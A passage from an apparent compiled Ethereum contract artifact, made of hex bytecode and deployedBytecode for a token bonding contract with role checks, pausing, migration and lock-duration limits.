76564206265666f60448201527f726520626f6e64696e672074696d6500000000000000000000000000000000006064820152608401610692565b6004805460408051638fe6368360e01b815290516001600160a01b0390921692638fe63683928282019260209290829003018186803b15801561458257600080fd5b505afa158015614596573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145ba9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156145f457600080fd5b505af1158015614608573d6000803e3d6000fd5b50506004805460408051630110f17360e51b815290516001600160a01b03909216945063221e2e6093508083019260209291829003018186803b15801561464e57600080fd5b505afa158015614662573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146869190615787565b6001600160a01b0316637b80a5c0856040518263ffffffff1660e01b81526004016146b391815260200190565b604080518083038186803b1580156146ca57600080fd5b505afa1580156146de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906147029190615817565b925050915091565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561475a57600080fd5b505afa15801561476e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906147929190615787565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b1580156147e457600080fd5b505afa1580156147f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061481c9190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561485d57600080fd5b505afa158015614871573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061489591906158b5565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156148e757600080fd5b505afa1580156148fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061491f9190615787565b6001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b15801561495757600080fd5b505afa15801561496b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061498f91906158b5565b9050600954836001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b1580156149cd57600080fd5b505afa1580156149e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614a0591906158b5565b614a0f9190615ab1565b8210158015614a1e5750600081115b15610808576000600954846001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015614a6157600080fd5b505afa158015614a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614a9991906158b5565b614aa39190615ab1565b614aad9084615b08565b9050600854811115614af7578160085482614ac89190615b08565b614ad79064e8d4a51000615ae9565b614ae19190615ac9565b600754614aee9190615ab1565b60075560088190555b50505050565b6040516001600160a01b0380851660248301528316604482015260648101829052614af79085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166001600160e01b031990931692909217909152615351565b60025460ff1615614bc35760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b6002805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586142143390565b6001600160a01b0383166000908152600f6020526040812054614c4e5760405162461bcd60e51b815260206004820152600e60248201526d6e6f74207631206164647265737360901b6044820152606401610692565b60008311614c9e5760405162461bcd60e51b815260206004820152601160248201527f4c5020616d6f756e74206973207a65726f0000000000000000000000000000006044820152606401610692565b81600111158015614cb0575060d08211155b614d225760405162461bcd60e51b815260206004820152602860248201527f4475726174696f6e206d757374206265206265747765656e203120616e64203260448201527f3038207765656b730000000000000000000000000000000000000000000000006064820152608401610692565b6001600160a01b038085166000908152600f602090815260408083208390556004805482516310a7bc4160e11b815292519495169363214f78829383830193909290829003018186803b158015614d7857600080fd5b505afa158015614d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614db09190615787565b60055460405163016cdd2960e61b8152600481018790526024810186905260448101919091526001600160a01b039190911690635b374a409060640160206040518083038186803b158015614e0457600080fd5b505afa158015614e18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614e3c91906158b5565b9050614e4661470a565b600060065484614e569190615ae9565b614e609043615ab1565b9050614e6e868684846150b5565b92508460096000828254614e829190615b08565b90915550506004805460408051630110f17360e51b815290516001600160a01b039092169263221e2e60928282019260209290829003018186803b158015614ec957600080fd5b505afa158015614edd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614f019190615787565b604051630efe6a8b60e01b81526001600160a01b03888116600483015260248201859052604482018690529190911690630efe6a8b90606401600060405180830381600087803b158015614f5457600080fd5b505af1158015614f68573d6000803e3d6000fd5b505060408051888152602081018690529081018790528592506001600160a01b03891691507fc8102fa5c0a66c20caa3ebb502aecfcc6e0ea963896d5a14c1bd8c10c456c5539060600160405180910390a350509392505050565b6040516001600160a01b03831660248201526044810182905261080890849063a9059cbb60e01b90606401614b31565b614ffe60008261532f565b6150705760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d6e6f742d7061727460448201527f2d6f662d7468652d70726f746f636f6c000000000000000000000000000000006064820152608401610692565b61507b600082615436565b506040516001600160a01b03821681527fddd12a8c3ce9bea5c97a5d25c8b777caab85752828f56b7b8ad5a0b30340a25f90602001610971565b6000806150c06132b8565b9050806151355760405162461bcd60e51b815260206004820152602760248201527f426f6e64696e673a2073686172652076616c75652073686f756c64206e6f742060448201527f6265206e756c6c000000000000000000000000000000000000000000000000006064820152608401610692565b600064e8d4a510006007548661514b9190615ae9565b6151559190615ac9565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156151a557600080fd5b505afa1580156151b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906151dd9190615787565b604051632991fa3b60e21b81526001600160a01b038981166004830152602482018990526044820184905260648201879052919091169063a647e8ec90608401602060405180830381600087803b15801561523757600080fd5b505af115801561524b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061526f91906158b5565b979650505050505050565b61528560008261532f565b156152ea5760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b6064820152608401610692565b6152f560008261544b565b506040516001600160a01b03821681527fa3e4ba856dd0fdee3a33ab9b82499fd01f05236f3d08cc4e7108698c6e3e7e5090602001610971565b6001600160a01b03811660009081526001830160205260408120541515613864565b60006153a6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166154609092919063ffffffff16565b80519091501561080857808060200190518101906153c49190615899565b6108085760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610692565b6000613864836001600160a01b038416615479565b6000613864836001600160a01b038416615596565b606061546f84846000856155e5565b90505b9392505050565b6000818152600183016020526040812054801561558c57600061549d600183615b08565b85549091506000906154b190600190615b08565b90508181146155325760008660000182815481106154df57634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508087600001848154811061551057634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b855486908061555157634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050613867565b6000915050613867565b60008181526001830160205260408120546155dd57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155613867565b506000613867565b60608247101561565d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610692565b843b6156ab5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610692565b600080866001600160a01b031685876040516156c791906159c3565b60006040518083038185875af1925050503d8060008114615704576040519150601f19603f3d011682016040523d82523d6000602084013e615709565b606091505b509150915061526f82828660608315615723575081615472565b8251156157335782518084602001fd5b8160405162461bcd60e51b815260040161069291906159df565b60405180604001604052806002906020820280368337509192915050565b60006020828403121561577c578081fd5b813561547281615b9c565b600060208284031215615798578081fd5b815161547281615b9c565b6000806000606084860312156157b7578182fd5b83356157c281615b9c565b925060208401356157d281615b9c565b929592945050506040919091013590565b6000806000606084860312156157f7578283fd5b833561580281615b9c565b95602085013595506040909401359392505050565b600060408284031215615828578081fd5b82601f830112615836578081fd5b6158406040615a72565b808385604086011115615851578384fd5b835b6002811015615872578151845260209384019390910190600101615853565b509095945050505050565b60006020828403121561588e578081fd5b813561547281615bb1565b6000602082840312156158aa578081fd5b815161547281615bb1565b6000602082840312156158c6578081fd5b5051919050565b600060c082840312156158de578081fd5b6158e860c0615a72565b82516158f381615b9c565b808252506020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a08201528091505092915050565b600060208284031215615944578081fd5b5035919050565b6000806040838503121561595d578182fd5b50508035926020909101359150565b600080600060608486031215615980578283fd5b505081359360208301359350604090920135919050565b600081518084526159af816020860160208601615b1f565b601f01601f19169290920160200192915050565b600082516159d5818460208701615b1f565b9190910192915050565b6000602082526138646020830184615997565b6000610120820190506001600160a01b0385511682526020808601518184015260408601516040840152606086015160608401526080860151608084015260a086015160a084015260c083018560005b6002811015615a5f57815183529183019190830190600101615a42565b5050505082610100830152949350505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715615aa957634e487b7160e01b600052604160045260246000fd5b604052919050565b60008219821115615ac457615ac4615b86565b500190565b600082615ae457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615615b0357615b03615b86565b500290565b600082821015615b1a57615b1a615b86565b500390565b60005b83811015615b3a578181015183820152602001615b22565b83811115614af75750506000910152565b600181811c90821680615b5f57607f821691505b60208210811415615b8057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461382d57600080fd5b801515811461382d57600080fdfea164736f6c6343000803000a", - "deployedBytecode": "0x60806040526004361061021d5760003560e01c80638f88f38d1161011d578063bf0d68e4116100b0578063dc0c00c41161007f578063f785f03d11610064578063f785f03d146105e0578063f941717d14610600578063fa3305c91461062d57610224565b8063dc0c00c4146105a0578063e2bbb158146105c057610224565b8063bf0d68e414610524578063c2ee3a0814610544578063c5d1cb6314610560578063cd6c212b1461058057610224565b8063a734f06e116100ec578063a734f06e146104b1578063aa1ec70a146104d9578063aadc68a5146104ef578063b167d4ea1461050457610224565b80638f88f38d146104465780638fd3ab801461045c5780639d7de6b314610471578063a194bcde1461049157610224565b8063481c6a75116101b057806365566d651161017f5780637cc6bd41116101645780637cc6bd41146103f15780637cd07e47146104115780638456cb591461043157610224565b806365566d65146103b957806373d4a13a146103cf57610224565b8063481c6a751461031f5780634956cf1c1461035757806352159150146103815780635c975abb146103a157610224565b80632f72589e116101ec5780632f72589e146102aa5780633b1ba367146102ca5780633f4ba83a146102ea578063422f1043146102ff57610224565b80630c76214114610229578063118c03ec1461025257806323cf3118146102685780632db8c1291461028a57610224565b3661022457005b600080fd5b34801561023557600080fd5b5061023f60085481565b6040519081526020015b60405180910390f35b34801561025e57600080fd5b5061023f60095481565b34801561027457600080fd5b5061028861028336600461576b565b61064d565b005b34801561029657600080fd5b506102886102a53660046157a3565b6106ca565b3480156102b657600080fd5b506102886102c5366004615933565b61080d565b3480156102d657600080fd5b506102886102e5366004615933565b61097c565b3480156102f657600080fd5b50610288611011565b34801561030b57600080fd5b5061028861031a36600461596c565b61114d565b34801561032b57600080fd5b5060045461033f906001600160a01b031681565b6040516001600160a01b039091168152602001610249565b34801561036357600080fd5b506010546103719060ff1681565b6040519015158152602001610249565b34801561038d57600080fd5b5061023f61039c366004615933565b611911565b3480156103ad57600080fd5b5060025460ff16610371565b3480156103c557600080fd5b5061023f60075481565b3480156103db57600080fd5b506103e4611eaf565b60405161024991906159df565b3480156103fd57600080fd5b5061028861040c366004615933565b611f3d565b34801561041d57600080fd5b50600b5461033f906001600160a01b031681565b34801561043d57600080fd5b5061028861256c565b34801561045257600080fd5b5061023f60055481565b34801561046857600080fd5b5061023f6126a6565b34801561047d57600080fd5b5061028861048c36600461594b565b612804565b34801561049d57600080fd5b506102886104ac366004615933565b613150565b3480156104bd57600080fd5b5061033f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b3480156104e557600080fd5b5061023f60065481565b3480156104fb57600080fd5b5061023f6132b8565b34801561051057600080fd5b5061028861051f3660046157e3565b6135ba565b34801561053057600080fd5b5061028861053f36600461576b565b6136f1565b34801561055057600080fd5b5061023f670de0b6b3a764000081565b34801561056c57600080fd5b5061023f61057b36600461594b565b613830565b34801561058c57600080fd5b50600a5461033f906001600160a01b031681565b3480156105ac57600080fd5b506102886105bb36600461576b565b61386d565b3480156105cc57600080fd5b5061023f6105db36600461594b565b6139cf565b3480156105ec57600080fd5b506102886105fb36600461587d565b613e4c565b34801561060c57600080fd5b5061023f61061b36600461576b565b600f6020526000908152604090205481565b34801561063957600080fd5b5061028861064836600461576b565b613ea8565b600b546001600160a01b0316331461069b5760405162461bcd60e51b815260206004820152600c60248201526b3737ba1036b4b3b930ba37b960a11b60448201526064015b60405180910390fd5b600b805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561071657600080fd5b505afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190615899565b6107fd5760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b610808838383613fe4565b505050565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089191906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156108ce57600080fd5b505afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109069190615899565b6109405760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b60068190556040518181527f3a1c0b7d3cdecbab83b82697d51cbcdb308b3bbae63e597cbc958deb9c830e50906020015b60405180910390a150565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0091906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a3d57600080fd5b505afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a759190615899565b610aaf5760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610aff57600080fd5b505afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b379190615787565b604051630d2680e960e11b815260048101849052600060248201819052604482018190529192506001600160a01b03831690631a4d01d290606401602060405180830381600087803b158015610b8c57600080fd5b505af1158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc491906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1457600080fd5b505afa158015610c28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4c9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610c8657600080fd5b505af1158015610c9a573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610cee57600080fd5b505afa158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d269190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015610d6757600080fd5b505afa158015610d7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9f91906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610def57600080fd5b505afa158015610e03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e279190615787565b6001600160a01b031663a9059cbb600460009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8357600080fd5b505afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190615787565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b158015610f0357600080fd5b505af1158015610f17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3b9190615899565b507f621af463096d58966fa48f497088db472e960b9f399d8cbf787ec0f7d2253365600460009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610fab57600080fd5b505afa158015610fbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe39190615787565b604080516001600160a01b03909216825260208201859052810183905260600160405180910390a150505050565b600480546040805163e63ab1e960e01b815290516001600160a01b03909216926391d1485492849263e63ab1e99281810192602092909190829003018186803b15801561105d57600080fd5b505afa158015611071573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109591906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156110d257600080fd5b505afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a9190615899565b6111435760405162461bcd60e51b815260206004820152600a6024820152693737ba103830bab9b2b960b11b6044820152606401610692565b61114b614195565b565b60025460ff16156111935760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b60008061119f84614231565b815191935091506111ae61470a565b60006111be828460600151613830565b9050306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f957600080fd5b505afa15801561120d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112319190615787565b6001600160a01b031663d5a8cf648486846040518463ffffffff1660e01b8152600401611260939291906159f2565b60206040518083038186803b15801561127857600080fd5b505afa15801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b091906158b5565b9050808360a0018181516112c49190615ab1565b905250600880548291906000906112dc908490615b08565b92505081905550611380333089600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015613133757600080fd5b505afa15801561134b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136f9190615787565b6001600160a01b0316929190614afd565b868360a0018181516113929190615ab1565b9052506004805460408051630110f17360e51b815290516001600160a01b039092169263221e2e60928282019260209290829003018186803b1580156113d757600080fd5b505afa1580156113eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140f9190615787565b604051635ae2fb3960e11b815233600482015260248101849052604481018890526001600160a01b03919091169063b5c5f67290606401600060405180830381600087803b15801561146057600080fd5b505af1158015611474573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156114c857600080fd5b505afa1580156114dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115009190615787565b60a085015160055460405163016cdd2960e61b815260048101929092526024820189905260448201526001600160a01b039190911690635b374a409060640160206040518083038186803b15801561155757600080fd5b505afa15801561156b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158f91906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156115df57600080fd5b505afa1580156115f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116179190615787565b604051630efe6a8b60e01b815233600482015260248101839052604481018990526001600160a01b039190911690630efe6a8b90606401600060405180830381600087803b15801561166857600080fd5b505af115801561167c573d6000803e3d6000fd5b505050506006548661168e9190615ae9565b6116989043615ab1565b60808501526116a561470a565b64e8d4a51000600754600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156116fc57600080fd5b505afa158015611710573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117349190615787565b6001600160a01b0316637b80a5c08a6040518263ffffffff1660e01b815260040161176191815260200190565b604080518083038186803b15801561177857600080fd5b505afa15801561178c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b09190615817565b516117bb9190615ae9565b6117c59190615ac9565b6060850152600480546040805163310c7a0f60e21b815290516001600160a01b039092169263c431e83c928282019260209290829003018186803b15801561180c57600080fd5b505afa158015611820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118449190615787565b60a0850151606086015160808701516040516353ab9e7560e11b8152600481018c90526024810193909352604483019190915260648201526001600160a01b03919091169063a7573cea90608401600060405180830381600087803b1580156118ac57600080fd5b505af11580156118c0573d6000803e3d6000fd5b50505060a0850151604080519182526020820184905289925033917f4419681a20e94d59aaa91e563559dc52e7fb9ec1540b072ce92014f31961ce0091015b60405180910390a35050505050505050565b600480546040805163310c7a0f60e21b8152905160009384936001600160a01b03169263c431e83c9281830192602092829003018186803b15801561195557600080fd5b505afa158015611969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198d9190615787565b604051636c7f3b2160e11b8152600481018590529091506000906001600160a01b0383169063d8fe76429060240160c06040518083038186803b1580156119d357600080fd5b505afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b91906158cd565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015611a5d57600080fd5b505afa158015611a71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a959190615787565b6001600160a01b0316637b80a5c0866040518263ffffffff1660e01b8152600401611ac291815260200190565b604080518083038186803b158015611ad957600080fd5b505afa158015611aed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b119190615817565b90506000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015611b6357600080fd5b505afa158015611b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9b9190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015611bdc57600080fd5b505afa158015611bf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c1491906158b5565b9050600954846001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c5257600080fd5b505afa158015611c66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8a91906158b5565b611c949190615ab1565b8110611ea1576000600954856001600160a01b031663132c4feb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611cd857600080fd5b505afa158015611cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d1091906158b5565b611d1a9190615ab1565b611d249083615b08565b60075460085491925090821115611e6757600060085483611d459190615b08565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9557600080fd5b505afa158015611da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dcd9190615787565b6001600160a01b0316633a98ef396040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0557600080fd5b505afa158015611e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3d91906158b5565b611e4c8264e8d4a51000615ae9565b611e569190615ac9565b600754611e639190615ab1565b9150505b6060850151845164e8d4a5100090611e80908490615ae9565b611e8a9190615ac9565b611e949190615b08565b9650505050505050611eaa565b60009450505050505b919050565b60038054611ebc90615b4b565b80601f0160208091040260200160405190810160405280929190818152602001828054611ee890615b4b565b8015611f355780601f10611f0a57610100808354040283529160200191611f35565b820191906000526020600020905b815481529060010190602001808311611f1857829003601f168201915b505050505081565b600480546040805163039b1cd560e61b815290516001600160a01b03909216926391d1485492849263e6c735409281810192602092909190829003018186803b158015611f8957600080fd5b505afa158015611f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc191906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015611ffe57600080fd5b505afa158015612012573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120369190615899565b6120705760405162461bcd60e51b815260206004820152600b60248201526a3737ba1036b0b730b3b2b960a91b6044820152606401610692565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b1580156120c057600080fd5b505afa1580156120d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120f89190615787565b604051630d2680e960e11b815260048101849052600160248201526000604482018190529192506001600160a01b03831690631a4d01d290606401602060405180830381600087803b15801561214d57600080fd5b505af1158015612161573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061218591906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b1580156121d557600080fd5b505afa1580156121e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061220d9190615787565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561224757600080fd5b505af115801561225b573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b1580156122af57600080fd5b505afa1580156122c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e79190615787565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561232857600080fd5b505afa15801561233c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061236091906158b5565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b1580156123b057600080fd5b505afa1580156123c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e89190615787565b6001600160a01b031663a9059cbb600460009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b15801561244457600080fd5b505afa158015612458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061247c9190615787565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156124c457600080fd5b505af11580156124d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fc9190615899565b507f621af463096d58966fa48f497088db472e960b9f399d8cbf787ec0f7d2253365600460009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b158015610fab57600080fd5b600480546040805163e63ab1e960e01b815290516001600160a01b03909216926391d1485492849263e63ab1e99281810192602092909190829003018186803b1580156125b857600080fd5b505afa1580156125cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125f091906158b5565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561262d57600080fd5b505afa158015612641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126659190615899565b61269e5760405162461bcd60e51b815260206004820152600a6024820152693737ba103830bab9b2b960b11b6044820152606401610692565b61114b614b7d565b60105460009060ff166126fb5760405162461bcd60e51b815260206004820152601060248201527f6e6f7420696e206d6967726174696f6e000000000000000000000000000000006044820152606401610692565b50336000908152600f60205260409020548061274a5760405162461bcd60e51b815260206004820152600e60248201526d6e6f74207631206164647265737360901b6044820152606401610692565b612800600c61275a600184615b08565b8154811061277857634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316600d61279a600185615b08565b815481106127b857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154600e6001856127d29190615b08565b815481106127f057634e487b7160e01b600052603260045260246000fd5b9060005260206000200154614bf8565b5090565b60025460ff161561284a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610692565b60008061285683614231565b91509150838160a0015110156128ae5760405162461bcd60e51b815260206004820152601760248201527f426f6e64696e673a20616d6f756e7420746f6f206269670000000000000000006044820152606401610692565b6000306001600160a01b031663cd6c212b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156128e957600080fd5b505afa1580156128fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129219190615787565b6001600160a01b031663629056cb8385886040518463ffffffff1660e01b8152600401612950939291906159f2565b60206040518083038186803b15801561296857600080fd5b505afa15801561297c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a091906158b5565b90506129aa61470a565b825160608301516000916129bd91613830565b9050600460009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b158015612a0d57600080fd5b505afa158015612a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a459190615787565b604051635ae2fb3960e11b815233600482015260248101849052604481018790526001600160a01b03919091169063b5c5f67290606401600060405180830381600087803b158015612a9657600080fd5b505af1158015612aaa573d6000803e3d6000fd5b505050506000600460009054906101000a